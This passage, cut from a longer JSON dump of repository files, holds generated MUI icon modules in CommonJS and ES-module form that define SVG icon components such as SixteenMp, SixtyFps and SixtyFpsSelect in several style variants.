    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11.5h2.5c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5H15v1.5h-1.5zm-5 2.5H10v-6H7V7h1.5z\"\n}, \"2\")], 'SixteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11.5h2.5c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5H15v1.5h-1.5zm-5 2.5H10v-6H7V7h1.5z\"\n}, \"2\")], 'SixteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zm1.5 5h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM12 10.5v-4c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H13.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1m6 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'SixteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zm1.5 5h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM12 10.5v-4c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H13.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1m6 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'SixteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9 2.5h4.5V7h-3v1h3v3.5H12zm-5 0h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5z\"\n}, \"2\")], 'SixteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9 2.5h4.5V7h-3v1h3v3.5H12zm-5 0h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5z\"\n}, \"2\")], 'SixteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-7c0-.55.45-1 1-1h3.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm-5-1h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zm1.5 5h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11.5h2.5c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5H15v1.5h-1.5zm-5 2.5H10v-6H7V7h1.5z\"\n}, \"4\")], 'SixteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-7c0-.55.45-1 1-1h3.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm-5-1h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zm1.5 5h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11.5h2.5c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5H15v1.5h-1.5zm-5 2.5H10v-6H7V7h1.5z\"\n}, \"4\")], 'SixteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFps.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3m-9 3V5H5C3.34 5 2 6.34 2 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3v-3c0-1.66-1.34-3-3-3H5V8zm-2 5v3H5v-3z\"\n}), 'SixtyFps');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFps.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3m-9 3V5H5C3.34 5 2 6.34 2 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3v-3c0-1.66-1.34-3-3-3H5V8zm-2 5v3H5v-3z\"\n}), 'SixtyFps');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3m-9 3V5H5C3.34 5 2 6.34 2 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3v-3c0-1.66-1.34-3-3-3H5V8zm-2 5v3H5v-3z\"\n}), 'SixtyFpsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3m-9 3V5H5C3.34 5 2 6.34 2 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3v-3c0-1.66-1.34-3-3-3H5V8zm-2 5v3H5v-3z\"\n}), 'SixtyFpsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3m-9 1.5C10 5.67 9.33 5 8.5 5H5C3.34 5 2 6.34 2 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3v-3c0-1.66-1.34-3-3-3H5V8h3.5c.83 0 1.5-.67 1.5-1.5M8 13v3H5v-3z\"\n}), 'SixtyFpsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3m-9 1.5C10 5.67 9.33 5 8.5 5H5C3.34 5 2 6.34 2 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3v-3c0-1.66-1.34-3-3-3H5V8h3.5c.83 0 1.5-.67 1.5-1.5M8 13v3H5v-3z\"\n}), 'SixtyFpsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6v6h-3V6zm0-2h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2V4H6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H6V6zm-2 4v2H6v-2zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'SixtyFpsSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6v6h-3V6zm0-2h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2V4H6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H6V6zm-2 4v2H6v-2zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'SixtyFpsSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6v6h-3V6zm0-2h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2V4H6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H6V6zm-2 4v2H6v-2zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'SixtyFpsSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6v6h-3V6zm0-2h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2V4H6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H6V6zm-2 4v2H6v-2zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'SixtyFpsSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6v6h-3V6zm0-2h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 1c0-.55-.45-1-1-1H6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H6V6h4c.55 0 1-.45 1-1m-2 5v2H6v-2zM4 22c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m8 0h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'SixtyFpsSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6v6h-3V6zm0-2h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 1c0-.55-.45-1-1-1H6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H6V6h4c.55 0 1-.45 1-1m-2 5v2H6v-2zM4 22c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m8 0h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'SixtyFpsSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6v6h-3V6zm2-2h-7v10h7zm-9 2V4H4v10h7V8H6V6zm-2 4v2H6v-2zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'SixtyFpsSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6v6h-3V6zm2-2h-7v10h7zm-9 2V4H4v10h7V8H6V6zm-2 4v2H6v-2zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'SixtyFpsSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6v6h-3V6zm0-2h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2V4H6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H6V6zm-2 4v2H6v-2zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'SixtyFpsSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6v6h-3V6zm0-2h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2V4H6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H6V6zm-2 4v2H6v-2zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'SixtyFpsSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8v8h-4V8zm3-3H12v14h10zM10 8V5H2v14h9v-9H5V8zm-2 5v3H5v-3z\"\n}), 'SixtyFpsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8v8h-4V8zm3-3H12v14h10zM10 8V5H2v14h9v-9H5V8zm-2 5v3H5v-3z\"\n}), 'SixtyFpsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3m-9 3V5H5C3.34 5 2 6.34 2 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3v-3c0-1.66-1.34-3-3-3H5V8zm-2 5v3H5v-3z\"\n}), 'SixtyFpsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixtyFpsTwoTone.mjs",
